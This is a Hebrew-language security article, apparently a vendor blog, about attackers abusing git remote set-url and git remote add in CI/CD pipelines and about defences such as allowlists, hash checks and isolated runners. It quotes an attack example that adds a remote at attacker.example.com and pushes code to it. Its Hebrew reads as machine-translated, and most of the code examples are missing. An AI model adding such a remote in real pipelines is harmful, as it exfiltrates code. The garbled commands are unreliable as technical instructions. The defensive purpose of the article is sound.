הסיכון הנסתר מאחורי פקודת גיט פשוטה
עבור רוב המפתחים, הפעלת פקודה כמו git remote set-url origin מרגיש שגרתי, רק עוד צעד בתחזוקת תצורת Git. סקריפטים של CI גם מבצעים בדרך כלל פקודות כגון git remote set-url, Git set url for remote, או Git remote add to fetch או push code במהלך בניות. אבל הנה הסיכון: אם תוקף יתערב בתצורה הזו (באופן מקומי או ב-CI), הוא יכול להפנות את המקור שלך למאגר זדוני, ליירט אישורים או להחדיר תוכנה זדונית לשרשרת האספקה.
דוגמה לאופן שבו משתמשים בו בדרך כלל:
# שימוש לגיטימי
מקור כתובת URL של git מרחוק https://github.com/org/project.git
⚠️ דוגמה לא מאובטחת, למטרות חינוכיות בלבד. אין להשתמש בסביבת ייצור.
אבטחת גרסה, זיהוי אימות מקור מאגר
למה? אם השלט עובר למארח הנשלט על ידי תוקף, כל git fetch/git push עוקבים מצביעים על קוד זדוני. יש לבצע קידוד קשיח של מקורות מהימנים במידת האפשר ולהימנע מכתובות URL דינמיות לא מאומתות.
כיצד מניפולציה מרחוק פוגעת בבנייה Pipeline
כתובת URL מרוחקת של Git ששונתה עלולה להיות בעלת השלכות חמורות בפעולות אוטומטיות pipelineכאשר סקריפטים ניתנים לאמון באופן מרומז.
תרחיש לדוגמה:
- סקריפט CI משתמש ב-git remote set-url כדי להגדיר מחדש מאגרים באופן דינמי.
- משתנה סביבה שנפגע (למשל, אסימון או כתובת URL של מאגר) מוזרק לסקריפט.
- הבנייה מאחזרת או דוחפת קוד למאגר זדוני.
- התוקף מוסיף דלתות אחוריות או תלויות שעברו פגיעה.
⚠️ דוגמה לא מאובטחת, למטרות חינוכיות בלבד. אין להשתמש בסביבת ייצור.
גרסה מאובטחת, יש לאמת את $REPO_URL לפני השימוש (אימות רשימה לבנה / xygeni).
למה: אימות כתובות URL של מאגר נכנס מול רשימה לבנה מתוחזקת (או שימוש xygeni verify --git-origin) לפני פעולה על פיהם. זה מונע מתוקפים לעקוף משתני סביבה כדי להפנות מחדש pipelines.
זיהוי שינויים לא מורשים בתצורה מרחוק
גיט לא מתריע בפניך כאשר מתבצע שינוי בשלט רחוק. ניטור יזום של .git/config ובדיקות תקינות לפני הבנייה הן הכרחיות.
טכניקות גילוי מעשיות
בדיקת תצורת גיט:
השווה את הפלט לכתובות URL צפויות המאוחסנות בבסיס מאובטח.
אמת
.git/configיושרה:השווה את סכום הבדיקה לקו בסיס מהימן.
אימות מבוסס CI:
הערה חינוכית: אין להריץ בדיקות שלמות או פקודות אימות עם אישורים ארוכי טווח שנחשפו ביומני רישום או בסביבות לא מוגנות. השתמש באישורים זמניים, סודות מאוחסנים והימנע מביצוע פקודות אימות כמשתמש מורשה במידת האפשר.
טיפ לזיהוי: חפש אחר שרתים מרוחקים המצביעים על דומיינים לא קנוניים (בלתי צפויים .net, .io, כתובות IP), שמות מרוחקים כפולים, או משתני סביבה השולטים בכתובות URL של מאגרים ללא אימות. זיהוי מוקדם מונע git set-url מניפולציה מפני זיהום מבנים.
אבטחת מקורות מאגרים עם Guardrails ואימות גיבוב
מניעה פירושה אכיפת בקרות קפדניות על אילו מאגרים אתה בונה מהם. Guardrails כוללים חתימה, אימות גיבוב והגבלת מי יכול לשנות משתני CI.
נהלים מאובטחים לשלמות מאגרים
הצמד כתובות URL של מאגרים, קודדו מקורות מהימנים במידת האפשר:
אימות גיבובי מאגר:
ודא ש-HEAD תואם ל-hash הצפוי לפני הבנייה.
⚠️ דוגמה לא בטוחה, הדפסת אסימונים ביומנים (אין להשתמש בייצור).
גרסה מאובטחת, קרא סודות מהכספת, ולעולם לא הדפס
רשימת בדיקה קטנה: ניהול בטוח של Git מרחוק
- אכיפה רשימת היתרים או אימות של כתובות URL מרוחקות.
- אימות שלמות קובצי .git/config לפני בניית קבצים.
- דרוש חתימה commitותגיות.
- הגבל את מי שיכול לשנות משתני סביבה של CI.
- רישום הוצאות על קובץ git remote set-url ו-git remote add לצורך ביקורת.
שילוב אימות כתובות URL של Git Remote Set בתוך CI/CD Pipelines
להוסיף guardrails ואימות אוטומטי כדי לעצור מניפולציה מרחוק בשלב מוקדם של pipeline.
דוגמה ל-Guardrail: בדיקה של שלטים כפולים או לא מורשים
התקשות מפני שיבוש שרשרת האספקה בסביבות משותפות
רצים משותפים ופקודות מרחוק מתירניות הם בעלי סיכון גבוה. הימנעו מפקודות שמוסיפות שלטים מרחוק שלא נבדקו במהלך זמן ריצת המשימה.
⚠️ דוגמה לא מאובטחת, הוספת שלט רחוק לתוקף (אין להשתמש).
גרסה מאובטחת, הגבלה לדומיינים מאומתים והשתמשה ב-set-url רק עבור מקורות מאושרים
הערה: העדיפו רצים זמניים והימנעו מזיכרון מטמון משותף ומתמשך בין משימות.
הערה לגבי רצים: השתמשו ברצים זמניים ומבודדים שנוצרים מחדש עבור כל משימה. דיסקים או מטמונים משותפים יכולים לשמור קבצים שעברו שינויים בבניינים שונים.
שילוב כתובת URL של Git set עבור אימות מרחוק לתוך CI/CD Pipelines
אבטחת השימוש ב-git remote set-url אינה עוסקת רק בבדיקות ידניות; מדובר באוטומציה. זרימות עבודה מודרניות של DevSecOps יכולות לשלב אימות ישירות ב- CI/CD pipelines.
דוגמה: אימות שלמות מרחוק אוטומטי
תצורה זו מבטיחה שלפני כל בנייה או פריסה הרצה, ה- pipeline מאמת:
- כתובת ה-URL של המאגר תואמת את הערך הצפוי.
- Commit החתימות תקפות.
- לא נוספו שלטים בלתי צפויים באמצעות git add remote.
בקרות CI נוספות
- Pre-commit hooksבדוק שאין גורמים בלתי מורשים כתובת אתר של git מרחוק פקודות קיימות ב commits.
- אכיפת מדיניות כקוד: הגדרת מקורות מותרים כחלק ממדיניות מבוקרת גרסאות.
- שיקוף תלות: משיכת קוד ממראות פנימיות מאומתות במקום ממקורות אינטרנט ישירים.
אוטומציה של בדיקות אלו לא רק מונע תצורות שגויות, אלא גם מזהה ניסיונות שיבוש בשרשרת האספקה עוד לפני שהקוד נשלח.
התקשות מפני שיבוש שרשרת האספקה בסביבות משותפות
רצים משותפים או סביבות CI זמניות מציגות סיכונים נוספים. כאשר מספר בניות חולקות משאבים, פקודות git remote set-url או git add remote יכולות לשמש נשק כדי לשמור על פקודות מרוחקות זדוניות לאורך סשנים.
תרחישי תקיפה נפוצים
סקריפט בנייה שנפגע מוסיף שלט רחוק חדש כדי לדחוף קוד למאגר של תוקף:
הוסף גיבוי מרחוק של גיט https://attacker.example.com/repo.git
גיבוי git push ראשי
- פרויקט אחר הפועל על אותו סוכן CI אחזור נתונים ממצב מזוהם זה.
- נתונים רגישים כמו טוקנים או ארטיפקטים של בנייה דולפים באמצעות דחיפות לא מורשות.
אמצעי הקשחה
- רצים ארעיים: איפוס סביבות CI לאחר כל בנייה.
- בידוד רשת: הגבל את התנועה היוצאת לדומיינים שאושרו.
- הרשאות הקטנות ביותר: הגבלת הרשאות לפעולות Git ב pipelines.
- חתימת חפצים: ודא שכל פלטי הבנייה חתומים ומאומתים קריפטוגרפית.
על ידי שילוב של בידוד, אימות וניטור, צוותים יכולים לנטרל התקפות המנצלות את כתובת האתר של git set לצורך מניפולציה מרחוק.
אימות, ניטור ואוטומציה של אמון במאגרים
כתובת URL אחת של git remote שנעשה בה שימוש לרעה או git add remote לא מאומתת יכולים להפנות בשקט את כל תהליך הבנייה שלך למאגר הנשלט על ידי תוקף. הגבול בין פרודוקטיביות לפגיעה ב-DevOps דק מתמיד, ו מתקפות שרשרת אספקה של תוכנה לנצל בדיוק את זה.
כדי לשמור על האמון בך pipelines:
- אימות מקורות המאגר באופן רציף.
- אכיפה commit וחתימה על חפצים.
- לְמַכֵּן בדיקות תקינות בכל שלב של CI/CD.
פלטפורמות כמו קסיגני לעזור לצוותי DevSecOps לזהות שגויות תצורה מרחוק, לנטר גבולות אמון במאגרים ולחסום סיכונים בשרשרת האספקה הנובעים משימוש לרעה ב-Git, לפני שלמשתמשים זדוניים יש הזדמנות לפרוס קוד.
בטחו בזרימת העבודה שלכם, אבל ודאו את המקור שלכם. כך תמנעו מ-git remote set-url להפוך לפריצת האבטחה הבאה שלכם.
